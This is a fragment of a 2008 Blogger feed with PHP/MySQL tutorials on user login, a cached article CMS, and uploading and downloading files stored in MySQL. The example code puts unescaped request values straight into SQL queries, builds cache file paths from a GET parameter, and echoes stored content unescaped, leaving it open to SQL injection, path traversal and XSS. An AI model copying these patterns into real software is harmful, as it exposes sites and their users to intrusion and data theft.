process a bit. The login script's content is shown below :&lt;br /&gt;&lt;br /&gt;Example : database/login.php&lt;br /&gt;Source : database/login.phps&lt;br /&gt;&lt;?php&lt;br /&gt;// we must never forget to start the session&lt;br /&gt;session_start(); &lt;br /&gt;&lt;br /&gt;$errorMessage = '';&lt;br /&gt;if (isset($_POST['txtUserId']) &amp;&amp; isset($_POST['txtPassword'])) {&lt;br /&gt;   include 'library/config.php';&lt;br /&gt;   include 'library/opendb.php';&lt;br /&gt;&lt;br /&gt;   $userId = $_POST['txtUserId'];&lt;br /&gt;   $password = $_POST['txtPassword'];&lt;br /&gt;&lt;br /&gt;   // check if the user id and password combination exist in database&lt;br /&gt;   $sql = "SELECT user_id &lt;br /&gt;           FROM tbl_auth_user&lt;br /&gt;           WHERE user_id = '$userId' &lt;br /&gt;                 AND user_password = PASSWORD('$password')";&lt;br /&gt;&lt;br /&gt;   $result = mysql_query($sql) &lt;br /&gt;             or die('Query failed. ' . mysql_error()); &lt;br /&gt;&lt;br /&gt;   if (mysql_num_rows($result) == 1) {&lt;br /&gt;      // the user id and password match, &lt;br /&gt;      // set the session&lt;br /&gt;      $_SESSION['db_is_logged_in'] = true;&lt;br /&gt;&lt;br /&gt;      // after login we move to the main page&lt;br /&gt;      header('Location: main.php');&lt;br /&gt;      exit;&lt;br /&gt;   } else {&lt;br /&gt;      $errorMessage = 'Sorry, wrong user id / password';&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   include 'library/closedb.php';&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;// ... same html login form as previous example&lt;br /&gt;&lt;br /&gt;Instead of checking the user id and password against a hardcoded info we query the database if these two exist in the database using the SELECT query. If we found a match we set the session variable and move to the main page. Note that the session name is prefixed by 'db_' to make it different than the previous example.&lt;br /&gt;&lt;br /&gt;For the next two scripts ( main.php and logout.php ) the code is similar to previous one. The only difference is the session name. Here is the code for these two&lt;br /&gt;&lt;br /&gt;Example : database/main.php&lt;br /&gt;Source : database/main.phps&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;session_start();&lt;br /&gt;&lt;br /&gt;// is the one accessing this page logged in or not?&lt;br /&gt;if (!isset($_SESSION['db_is_logged_in']) &lt;br /&gt;   || $_SESSION['db_is_logged_in'] !== true) {&lt;br /&gt;&lt;br /&gt;   // not logged in, move to login page&lt;br /&gt;   header('Location: login.php');&lt;br /&gt;   exit;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;// ... some html code here&lt;br /&gt;&lt;br /&gt;Example : database/logout.php&lt;br /&gt;Source : dabase/logout.phps&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;session_start();&lt;br /&gt;&lt;br /&gt;// if the user is logged in, unset the session&lt;br /&gt;if (isset($_SESSION['db_is_logged_in'])) {&lt;br /&gt;   unset($_SESSION['db_is_logged_in']);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// now that the user is logged out,&lt;br /&gt;// go to login page&lt;br /&gt;header('Location: login.php');&lt;br /&gt;?&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-7224677757587530301?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/7224677757587530301/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=7224677757587530301&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/7224677757587530301'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/7224677757587530301'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/user-authentication.html' title='User Authentication'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-7835738498495349322</id><published>2008-03-22T00:53:00.000-07:00</published><updated>2008-03-22T00:54:20.511-07:00</updated><title type='text'>Content Management System (CMS) Using PHP And MySQL</title><content type='html'>A Content Management System ( CMS ) is used to add, edit, and delete content on a website. For a small website, such as this, adding and deleting a page manually is fairly simple. But for a large website with lots of pages like a news website adding a page manually without a content management system can be a headache.&lt;br /&gt;&lt;br /&gt;A CMS is meant to ease the process of adding and modifying new content to a webpage. The pages content are stored in database, not in the file server. &lt;br /&gt;&lt;br /&gt;This tutorial will present an example of a simple content management system. You will be able to add, edit and delete articles using HTML forms. &lt;br /&gt;&lt;br /&gt;For the database table we'll call it the news table. It consist of three columns :&lt;br /&gt;id : The article's id&lt;br /&gt;title : The title of an article&lt;br /&gt;content : The article itself&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;First we need to create a script to add an article. It is just a form where a user can enter the article's title and content.&lt;br /&gt;&lt;br /&gt;Example : cms-add.php&lt;br /&gt;Source code : cms-add.phps , cms.txt&lt;br /&gt;&lt;br /&gt;&lt;form method="post"&gt;&lt;br /&gt;&lt;table width="700" border="0" cellpadding="2" cellspacing="1" align="center"&gt;&lt;br /&gt;&lt;tr&gt; &lt;br /&gt;&lt;td width="100"&gt;Title&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;input name="title" type="text"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt; &lt;br /&gt;&lt;td width="100"&gt;Content&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;textarea name="content" cols="50" rows="10"&gt;&lt;/textarea&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt; &lt;br /&gt;&lt;td width="100"&gt;&amp;nbsp;&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;tr&gt; &lt;br /&gt;&lt;td colspan="2" align="center"&gt;&lt;input name="save" type="submit" value="Save Article"&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/form&gt;&lt;br /&gt;Whe an article is added the script just insert the article into the database. An article id is automatically generated by MySQL because the id column was created with AUTO_INCREMENT parameter . &lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;if(isset($_POST['save']))&lt;br /&gt;{&lt;br /&gt;   $title   = $_POST['title'];&lt;br /&gt;   $content = $_POST['content'];&lt;br /&gt;&lt;br /&gt;   if(!get_magic_quotes_gpc())&lt;br /&gt;   {&lt;br /&gt;      $title   = addslashes($title);&lt;br /&gt;      $content = addslashes($content);&lt;br /&gt;   }&lt;br /&gt;   include 'library/config.php';&lt;br /&gt;   include 'library/opendb.php';&lt;br /&gt;&lt;br /&gt;   $query = " INSERT INTO news (title, content) ".&lt;br /&gt;            " VALUES ('$title', '$content')";&lt;br /&gt;   mysql_query($query) or die('Error ,query failed');&lt;br /&gt;&lt;br /&gt;   include 'library/closedb.php';&lt;br /&gt;&lt;br /&gt;   echo "Article '$title' added";&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Now that we have the script to add articles let's create another script to view those articles. The script is list the title of articles available in database as clickable links. The article link have the article id appended like this&lt;br /&gt;&lt;br /&gt;http://www.php-mysql-tutorial.com/examples/cms/article1.php?id=3&lt;br /&gt;&lt;br /&gt;One possible implementation of article1.php is presented below :&lt;br /&gt;&lt;br /&gt;Example : article1.php&lt;br /&gt;Source code : article1.phps&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;include 'library/config.php';&lt;br /&gt;include 'library/opendb.php';&lt;br /&gt;&lt;br /&gt;// if no id is specified, list the available articles&lt;br /&gt;if(!isset($_GET['id']))&lt;br /&gt;{&lt;br /&gt;   $self = $_SERVER['PHP_SELF'];&lt;br /&gt;&lt;br /&gt;   $query = "SELECT id, title FROM news ORDER BY id";&lt;br /&gt;   $result = mysql_query($query) or die('Error : ' . mysql_error()); &lt;br /&gt;&lt;br /&gt;   // create the article list &lt;br /&gt;   $content = '&lt;ol&gt;';&lt;br /&gt;   while($row = mysql_fetch_array($result, MYSQL_NUM))&lt;br /&gt;   {&lt;br /&gt;      list($id, $title) = $row;&lt;br /&gt;      $content .= "&lt;li&gt;&lt;a href=\"$self?id=$id\"&gt;$title&lt;/a&gt;&lt;/li&gt;\r\n";&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   $content .= '&lt;/ol&gt;';&lt;br /&gt;&lt;br /&gt;   $title = 'Available Articles';&lt;br /&gt;} else {&lt;br /&gt;   // get the article info from database&lt;br /&gt;   $query = "SELECT title, content FROM news WHERE id=".$_GET['id'];&lt;br /&gt;   $result = mysql_query($query) or die('Error : ' . mysql_error()); &lt;br /&gt;   $row = mysql_fetch_array($result, MYSQL_ASSOC); &lt;br /&gt;&lt;br /&gt;   $title = $row['title'];&lt;br /&gt;   $content = $row['content'];&lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;include 'library/closedb.php';&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;// ... more code here&lt;br /&gt;&lt;br /&gt;When article1.php is first called the $_GET['id'] variable is not set and so it will query the database for the article list and save the list in the$content variable as an ordered list. The variable $title and $content will be used later when we print the result page. Take a look at the code below :&lt;br /&gt;&lt;br /&gt;Example : article1.php&lt;br /&gt;Source code : article2.phps&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;&lt;br /&gt;// ... previous code&lt;br /&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;html&gt;&lt;br /&gt;&lt;head&gt;&lt;br /&gt;&lt;title&gt;&lt;br /&gt;&lt;?php echo $title; ?&gt;&lt;br /&gt;&lt;/title&gt;&lt;br /&gt;&lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"&gt;&lt;br /&gt;&lt;style type="text/css"&gt;&lt;br /&gt;&lt;br /&gt;// ... some css here to make the page look nicer&lt;br /&gt;&lt;br /&gt;&lt;/style&gt;&lt;br /&gt;&lt;/head&gt;&lt;br /&gt;&lt;body&gt;&lt;br /&gt;&lt;table width="600" border="0" align="center" cellpadding="10" cellspacing="1" bgcolor="#336699"&gt;&lt;br /&gt;&lt;tr&gt; &lt;br /&gt;&lt;td bgcolor="#FFFFFF"&gt;&lt;br /&gt;&lt;h1 align="center"&gt;&lt;?php echo $title; ?&gt;&lt;/h1&gt;&lt;br /&gt;&lt;?php &lt;br /&gt;echo $content;&lt;br /&gt;&lt;br /&gt;// when displaying an article show a link&lt;br /&gt;// to see the article list&lt;br /&gt;if(isset($_GET['id']))&lt;br /&gt;{ &lt;br /&gt;?&gt;&lt;br /&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;br /&gt;&lt;p align="center"&gt;&lt;a href="&lt;?php echo $_SERVER['PHP_SELF']; ?&gt;"&gt;Article List&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;}&lt;br /&gt;?&gt; &lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/body&gt;&lt;br /&gt;&lt;/html&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you click on an article link the script will fetch the article's title and content from the database, save it to $title and $content variable and print the HTML file . At the bottom of the page we place a code to show the link to the article list which is the file itself without any query string ( $_SERVER['PHP_SELF'] ) &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;With this implementation each article request involve one database query. For a heavy load website with lots of articles using the above implementation can cause a very high amount of database-request. So we need a better cms solution to reduce the load.&lt;br /&gt;&lt;br /&gt;One feasible solution is to implement caching ( cache ) which load an article from the database only once when the article was first requested. The article is then saved to a cache directory as a regular HTML file. Subsequent request to the article will no longer involve any database request. The script just need to read the requested article from the cache directory.&lt;br /&gt;&lt;br /&gt;Example : article2.php&lt;br /&gt;Source code : article2.phps&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;include 'library/config.php';&lt;br /&gt;include 'library/opendb.php';&lt;br /&gt;&lt;br /&gt;$cacheDir = dirname(__FILE__) . '/cache/';&lt;br /&gt;&lt;br /&gt;if (isset($_GET['id'])) {&lt;br /&gt;   $cacheFile = $cacheDir . '_' . $_GET['id'] . '.html';&lt;br /&gt;} else {&lt;br /&gt;   $cacheFile = $cacheDir . 'index.html';&lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;if (file_exists($cacheFile))&lt;br /&gt;{&lt;br /&gt;   header("Content-Type: text/html");&lt;br /&gt;   readfile($cacheFile);&lt;br /&gt;   exit;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// ... more code coming&lt;br /&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;First we need to specify the cache directory where all cache files are located. For this example the cache directory is located in the same place as the article2.php script. I mean if article2.php is stored in C:/webroot then the cache dir is in C:/webroot/cache/&lt;br /&gt;&lt;br /&gt;The script thent check if the article was already in the cache. An article is saved into the cache directory using a filename generated from it's id. For example if you request the article using a link like this :&lt;br /&gt;&lt;br /&gt;http://www.php-mysql-tutorial.com/examples/cms/article2.php?id=3&lt;br /&gt;&lt;br /&gt;Then the cache file for the article is&lt;br /&gt;&lt;br /&gt;_3.html&lt;br /&gt;&lt;br /&gt;This filename is just an underscore ( _ ) followed by the article id. In case article2.php is called like this :&lt;br /&gt;&lt;br /&gt;http://www.php-mysql-tutorial.com/examples/cms/article2.php&lt;br /&gt;&lt;br /&gt;no id is defined so we make the cache file name as index.html&lt;br /&gt;&lt;br /&gt;If the cache file is found , the content is read and printed using readfile() and the script terminate. When the article is not found in the cache then we need to look in the database and get the page content from there. &lt;br /&gt;&lt;br /&gt;Example : article2.php&lt;br /&gt;Source code : article2.phps&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;&lt;br /&gt;// ... previous code&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;if(!isset($_GET['id']))&lt;br /&gt;{&lt;br /&gt;   $self   = $_SERVER['PHP_SELF'];&lt;br /&gt;&lt;br /&gt;   $query  = "SELECT id, title FROM news ORDER BY id";&lt;br /&gt;   $result = mysql_query($query) or die('Error : ' . mysql_error()); &lt;br /&gt;&lt;br /&gt;   $content = '&lt;ol&gt;';&lt;br /&gt;   while($row = mysql_fetch_array($result, MYSQL_NUM))&lt;br /&gt;   {&lt;br /&gt;      list($id, $title) = $row;&lt;br /&gt;      $content .= "&lt;li&gt;&lt;a href=\"$self?id=$id\"&gt;$title&lt;/a&gt;&lt;/li&gt;\r\n";&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   $content .= '&lt;/ol&gt;';&lt;br /&gt;&lt;br /&gt;   $title = 'Available Articles';&lt;br /&gt;} else {&lt;br /&gt;   // get the article info from database&lt;br /&gt;   $query  = "SELECT title, content FROM news WHERE id=".$_GET['id'];&lt;br /&gt;   $result = mysql_query($query) or die('Error : ' . mysql_error()); &lt;br /&gt;   $row    = mysql_fetch_array($result, MYSQL_ASSOC); &lt;br /&gt;&lt;br /&gt;   $title = $row['title'];&lt;br /&gt;   $content = $row['content'];&lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;include 'library/closedb.php';&lt;br /&gt;&lt;br /&gt;// ... still more code coming&lt;br /&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;As you can see above the process of fetching the article list and content is the same as article1.php. But before showing the page we have to start output buffering so we can save the content of the generated HTML file. &lt;br /&gt;&lt;br /&gt;See the code below. Just before printing the html we callob_start() to activate output buffering. From this point no output is sent from the script to the browser. So in the code example below anything between &lt;html&gt; and &lt;/html&gt; tag is not sent to the browser but stored in an internal buffer first.&lt;br /&gt;&lt;br /&gt;After the closing html tag we useob_get_contents() to get the buffer content and store int in a temporary variable, $buffer. We then call ob_end_flush() which stop the output buffering ( so the page is now sent to the browser ).&lt;br /&gt;&lt;br /&gt;Example : article2.php&lt;br /&gt;Source code : article2.phps&lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;&lt;br /&gt;// ... previous code&lt;br /&gt;&lt;br /&gt;ob_start();&lt;br /&gt;?&gt;&lt;br /&gt;&lt;html&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// ... same html code as article1.php&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/html&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;&lt;br /&gt;// get the buffer&lt;br /&gt;$buffer = ob_get_contents();&lt;br /&gt;&lt;br /&gt;// end output buffering, the buffer content&lt;br /&gt;// is sent to the client&lt;br /&gt;ob_end_flush();&lt;br /&gt;&lt;br /&gt;// now we create the cache file&lt;br /&gt;$fp = fopen($cacheFile, "w");&lt;br /&gt;fwrite($fp, $buffer);&lt;br /&gt;fclose($fp);&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-7835738498495349322?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/7835738498495349322/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=7835738498495349322&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/7835738498495349322'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/7835738498495349322'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/content-management-system-cms-using-php.html' title='Content Management System (CMS) Using PHP And MySQL'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-4627431934812253239</id><published>2008-03-22T00:52:00.001-07:00</published><updated>2008-03-22T00:52:59.729-07:00</updated><title type='text'>Downloading Files From MySQL Database</title><content type='html'>When we upload a file to database we also save the file type and length. These were not needed for uploading the files but is needed for downloading the files from the database. &lt;br /&gt;&lt;br /&gt;The download page list the file names stored in database. The names are printed as a url. The url would look like download.php?id=3. To see a working example click here. I saved several images in my database, you can try downloading them.&lt;br /&gt;&lt;br /&gt;Example : download.php&lt;br /&gt;Source code : download.phps&lt;br /&gt;&lt;br /&gt;&lt;html&gt;&lt;br /&gt;&lt;head&gt;&lt;br /&gt;&lt;title&gt;Download File From MySQL&lt;/title&gt;&lt;br /&gt;&lt;meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"&gt;&lt;br /&gt;&lt;/head&gt;&lt;br /&gt;&lt;br /&gt;&lt;body&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;include 'library/config.php';&lt;br /&gt;include 'library/opendb.php';&lt;br /&gt;&lt;br /&gt;$query = "SELECT id, name FROM upload";&lt;br /&gt;$result = mysql_query($query) or die('Error, query failed');&lt;br /&gt;if(mysql_num_rows($result) == 0)&lt;br /&gt;{&lt;br /&gt;echo "Database is empty &lt;br&gt;";&lt;br /&gt;} &lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;while(list($id, $name) = mysql_fetch_array($result))&lt;br /&gt;{&lt;br /&gt;?&gt;&lt;br /&gt;&lt;a href="download.php?id=&lt;?php=$id;?&gt;"&gt;&lt;?php=$name;?&gt;&lt;/a&gt; &lt;br&gt;&lt;br /&gt;&lt;?php &lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;include 'library/closedb.php';&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/body&gt;&lt;br /&gt;&lt;/html&gt;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;When you click the download link, the $_GET['id'] will be set. We can use this id to identify which files to get from the database. Below is the code for downloading files from MySQL Database.&lt;br /&gt;&lt;br /&gt;Example : download.php&lt;br /&gt;Source code : download.phps &lt;br /&gt;&lt;?php&lt;br /&gt;if(isset($_GET['id'])) &lt;br /&gt;{&lt;br /&gt;// if id is set then get the file with the id from database&lt;br /&gt;&lt;br /&gt;include 'library/config.php';&lt;br /&gt;include 'library/opendb.php'; &lt;br /&gt;&lt;br /&gt;$id    = $_GET['id'];&lt;br /&gt;$query = "SELECT name, type, size, content " .&lt;br /&gt;         "FROM upload WHERE id = '$id'";&lt;br /&gt;&lt;br /&gt;$result = mysql_query($query) or die('Error, query failed');&lt;br /&gt;list($name, $type, $size, $content) =                                  mysql_fetch_array($result);&lt;br /&gt;&lt;br /&gt;header("Content-length: $size");&lt;br /&gt;header("Content-type: $type");&lt;br /&gt;header("Content-Disposition: attachment; filename=$name");&lt;br /&gt;echo $content;&lt;br /&gt;&lt;br /&gt;include 'library/closedb.php'; &lt;br /&gt;exit;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;Before sending the file content using echo first we need to set several headers. They are :&lt;br /&gt;header("Content-length: $size")&lt;br /&gt;This header tells the browser how large the file is. Some browser need it to be able to download the file properly. Anyway it's a good manner telling how big the file is. That way anyone who download the file can predict how long the download will take.&lt;br /&gt;header("Content-type: $type")&lt;br /&gt;This header tells the browser what kind of file it tries to download.&lt;br /&gt;header("Content-Disposition: attachment; filename=$name");&lt;br /&gt;Tells the browser to save this downloaded file under the specified name. If you don't send this header the browser will try to save the file using the script's name (download.php).&lt;br /&gt;&lt;br /&gt;After sending the file the script stops executing by calling exit. &lt;br /&gt;&lt;br /&gt;NOTE :&lt;br /&gt;When sending headers the most common error message you will see is something like this :&lt;br /&gt;&lt;br /&gt;Warning: Cannot modify header information - headers already sent by (output started at C:\Webroot\library\config.php:7) in C:\Webroot\download.php on line 13&lt;br /&gt;&lt;br /&gt;This error happens because some data was already sent before we send the header. As for the error message above it happens because i "accidentally" add one space right after the PHP closing tag ( ?&gt; )  in config.php file. So if you see this error message when you're sending a header just make sure you don't have any data sent before calling header(). Check the file mentioned in the error message and go to the line number specified&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7103248129274851467-4627431934812253239?l=mysql-php-rudy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mysql-php-rudy.blogspot.com/feeds/4627431934812253239/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7103248129274851467&amp;postID=4627431934812253239&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/4627431934812253239'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7103248129274851467/posts/default/4627431934812253239'/><link rel='alternate' type='text/html' href='http://mysql-php-rudy.blogspot.com/2008/03/downloading-files-from-mysql-database.html' title='Downloading Files From MySQL Database'/><author><name>Rudy</name><uri>http://www.blogger.com/profile/03019708910125032368</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://bp2.blogger.com/_fpU10uqH0LU/R-Zn8jrkcgI/AAAAAAAAAC4/_pd4XzrHnm0/S220/rudi2.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7103248129274851467.post-7947736616546938346</id><published>2008-03-22T00:51:00.000-07:00</published><updated>2008-03-22T00:52:10.224-07:00</updated><title type='text'>Uploading Files To MySQL Database</title><content type='html'>Using PHP to upload files into MySQL database sometimes needed by some web application. For instance for storing pdf documents or images to make som kind of online briefcase (like Yahoo briefcase).&lt;br /&gt;&lt;br /&gt;For the first step, let's make the table for the upload files. The table will consist of.&lt;br /&gt;id : Unique id for each file&lt;br /&gt;name : File name&lt;br /&gt;type : File content type&lt;br /&gt;size : File size&lt;br /&gt;content : The file itself&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;For column content we'll use BLOB data type. BLOB is a binary large object that can hold a variable amount of data. MySQL have four BLOB data types, they are :&lt;br /&gt;TINYBLOB&lt;br /&gt;BLOB&lt;br /&gt;MEDIUMBLOB&lt;br /&gt;LONGBLOB&lt;br /&gt;&lt;br /&gt;Since BLOB is limited to store up to 64 kilobytes of data we will use MEDIUMBLOB so we can store larger files ( up to 16 megabytes ).&lt;br /&gt;&lt;br /&gt;Example : upload.txt&lt;br /&gt;CREATE TABLE upload (&lt;br /&gt;id INT NOT NULL AUTO_INCREMENT,&lt;br /&gt;name VARCHAR(30) NOT NULL,&lt;br /&gt;type VARCHAR(30) NOT NULL,&lt;br /&gt;size INT NOT NULL,&lt;br /&gt;content MEDIUMBLOB NOT NULL,&lt;br /&gt;PRIMARY KEY(id)&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;Uploading a file to MySQL is a two step process. First you need to upload the file to the server then read the file and insert it to MySQL. &lt;br /&gt;&lt;br /&gt;For uploading a file we need a form for the user to enter the file name or browse their computer and select a file. The input type="file" is used for that purpose.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Example : upload.php&lt;br /&gt;Source code : upload.phps&lt;br /&gt;&lt;br /&gt;&lt;form method="post" enctype="multipart/form-data"&gt;&lt;br /&gt;&lt;table width="350" border="0" cellpadding="1" cellspacing="1" class="box"&gt;&lt;br /&gt;&lt;tr&gt; &lt;br /&gt;&lt;td width="246"&gt;&lt;br /&gt;&lt;input type="hidden" name="MAX_FILE_SIZE" value="2000000"&gt;&lt;br /&gt;&lt;input name="userfile" type="file" id="userfile"&gt; &lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td width="80"&gt;&lt;input name="upload" type="submit" class="box" id="upload" value=" Upload "&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;/form&gt;&lt;br /&gt;&lt;br /&gt;An upload form must have encytype="multipart/form-data" otherwise it won't work at all. Of course the form method also need to be set to method="post". Also remember to put a hidden input MAX_FILE_SIZE before the file input. It's to restrict the size of files.&lt;br /&gt;&lt;br /&gt;After the form is submitted the we need to read the autoglobal $_FILES. In the example above the input name for the file is userfile so the content of $_FILES are like this :&lt;br /&gt;&lt;br /&gt;$_FILES['userfile']['name']&lt;br /&gt;The original name of the file on the client machine. &lt;br /&gt;&lt;br /&gt;$_FILES['userfile']['type']&lt;br /&gt;The mime type of the file, if the browser provided this information. An example would be "image/gif". &lt;br /&gt;&lt;br /&gt;$_FILES['userfile']['size']&lt;br /&gt;The size, in bytes, of the uploaded file. &lt;br /&gt;&lt;br /&gt;$_FILES['userfile']['tmp_name']&lt;br /&gt;The temporary filename of the file in which the uploaded file was stored on the server. &lt;br /&gt;&lt;br /&gt;$_FILES['userfile']['error']&lt;br /&gt;The error code associated with this file upload. ['error'] was added in PHP 4.2.0 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Example : upload.php&lt;br /&gt;Source code : upload.phps &lt;br /&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;if(isset($_POST['upload']) &amp;&amp; $_FILES['userfile']['size'] &gt; 0)&lt;br /&gt;{&lt;br /&gt;$fileName = $_FILES['userfile']['name'];&lt;br /&gt;$tmpName  = $_FILES['userfile']['tmp_name'];&lt;br /&gt;$fileSize = $_FILES['userfile']['size'];&lt;br /&gt;$fileType = $_FILES['userfile']['type'];&lt;br /&gt;&lt;br /&gt;$fp      = fopen($tmpName, 'r');&lt;br /&gt;$content = fread($fp, filesize($tmpName));&lt;br /&gt;$content = addslashes($content);&lt;br /&gt;fclose($fp);&lt;br /&gt;&lt;br /&gt;if(!get_magic_quotes_gpc())&lt;br /&gt;{&lt;br /&gt;    $fileName = addslashes($fileName);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;include 'library/config.php';&lt;br /&gt;include 'library/opendb.php';&lt;br /&gt;&lt;br /&gt;$query = "INSERT INTO upload (name, size, type, content ) ".&lt;br /&gt;"VALUES ('$fileName', '$fileSize', '$fileType', '$content')";&lt;br /&gt;&lt;br /&gt;mysql_query($query) or die('Error, query failed'); &lt;br /&gt;include 'library/closedb.php';&lt;br /&gt;&lt;br /&gt;echo "&lt;br&gt;File $fileName uploaded&lt;br&gt;";&lt;br /&gt;} &lt;br /&gt;?&gt;&lt;br /&gt;Before you do anything with the uploaded file. You should not assume that the file was uploaded successfully to the server. Always check to see if the file was successfully uploaded by looking at the file size. If it's larger than zero byte then we can assume that the file is uploaded successfully. &lt;br /&gt;&lt;br /&gt;PHP saves the uploaded file with a temporary name and save the name in $_FILES['userfile']['tmp_name']. Our next job is to read the content of this file and insert the content to database. Always make sure that you use addslashes() to escape the content. Using addslashes() to the file name is also recommended because you never know what the file name would be. &lt;br /&gt;&lt;br /&gt;That's it now you can upload your files to MySQL. Now it's time to write the script to download those files.&lt;div 